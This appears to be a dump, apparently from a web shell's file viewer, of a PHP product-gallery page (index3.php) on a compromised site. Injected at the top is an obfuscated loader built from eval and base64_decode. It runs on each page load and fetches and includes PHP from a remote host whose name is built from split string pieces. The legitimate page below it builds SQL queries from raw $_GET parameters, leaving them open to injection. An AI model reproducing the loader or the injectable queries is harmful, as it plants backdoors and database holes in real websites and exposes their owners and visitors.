?
Path : /home/admin/domains/happytokorea.com/public_html_bk/gall/ |
Current File : /home/admin/domains/happytokorea.com/public_html_bk/gall/index3.php |
<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQB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aT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=\"; uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?><? include("header.php");?> <style> .item{ border:thin; border-bottom-color:#cccccc; border-bottom-style:double; float:left; margin:0px; padding:1%; width:23%; margin-top:5px; /*margin-bottom:5px;*/ } .itemlast{ float:left; margin:0px; padding:1%; width:23%; margin-top:5px; /*margin-bottom:5px;*/ } .im{ max-height:150px; max-width:170px ; } </style> <input type='hidden' id='current_page' /> <input type='hidden' id='show_per_page' /> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <div align="center" style="padding:0px"> <table background="images/bg01.jpg" width="1600" border="0" cellpadding="0" cellspacing="0" style="border-collapse:collapse"> <tr height="40"> <td width="493" rowspan="2" > </td> <td width="738" height="40"> <div align="center"> <font size="3" color="white" face="Verdana, Arial, Helvetica, sans-serif">หน้ารวมสินค้าในปัจจุบัน</font></div> </td> <td width="369" rowspan="2" > </td> </tr> <tr> <td> <div align="left"> <? $sql = "select * from product where ''='' "; if(isset($_GET[c_id])){ $sql.=" and p_under = ".$_GET[c_id]; } if(isset($_GET[c_id2])){ $sql.=" and p_under in (select c_id from catalog where c_under = $_GET[c_id2] ) " ; } if(isset($_GET[p_id])){ $sql.=" and p_id = ".$_GET[p_id]; } $res = $db->query($sql); $total = mysql_num_rows($res); $last = ceil($total/4); $i=0; $j=1;?> </div> <div id='content'> <div align="left"> <? while($line = mysql_fetch_array($res)){ $i++; $row = ceil($i/4); ?> </div> <div class="item" <? if($row==$last){ echo 'class="itemlast"';}else{ echo 'class="item"'; }?>> <div align="left"><b > <? $sql = "select c_name from catalog where c_id = (select c_under from catalog where c_id =$line[p_under])"; $c = $db->queryUniqueValue($sql); $sql = "select c_name from catalog where c_id = ".$line[p_under]; $subc = $db->queryUniqueValue($sql); echo $c."<br>".$subc; ?> </b><br /> </div> <div style=" margin:0px; padding:0px; height:100px; vertical-align:middle" align="center" > <div align="left"><a href="product.php?p_id=<? echo $line[p_id];?>"><img src="http://img.youtube.com/vi/<? echo $line[p_img];?>/2.jpg" border="0" <? if($width>$height){?> width="100" <? }else{?> height="95" <? } ?>></a> </div> </div> <div id='item<? echo $line[p_id];?>' style='display: none; color: white; padding: 15px'> <div align="left"><img src="upload/<? echo $line[p_img];?>" border="0" align="middle" /> <font color="#ff3300" > <? echo nl2br($line[p_data]);?> </font> </div> </div> <div align="left"> <? echo $line[p_name];?> <br /> <a href="product.php?p_id=<? echo $line[p_id];?>" style="text-decoration:none"> View</a> <!--<font color="#0000FF" > Add to cart</font>--> <span id="ctl00_ContentPlaceHolder1_DataList1_ctl00_ShowFacebook"> </span></div> <span id="ctl00_ContentPlaceHolder1_DataList1_ctl00_ShowFacebook"><fb:like href='http://www.drynjoy.com/clip/product.php?p_id=<? echo $line[p_id];?>' send='False' show_faces='false' font='' layout='button_count' ></fb:like> </span></div> <div align="left"> <? } ?> </div> </div> </td></tr> </table> </div> <? include("footer.php");?>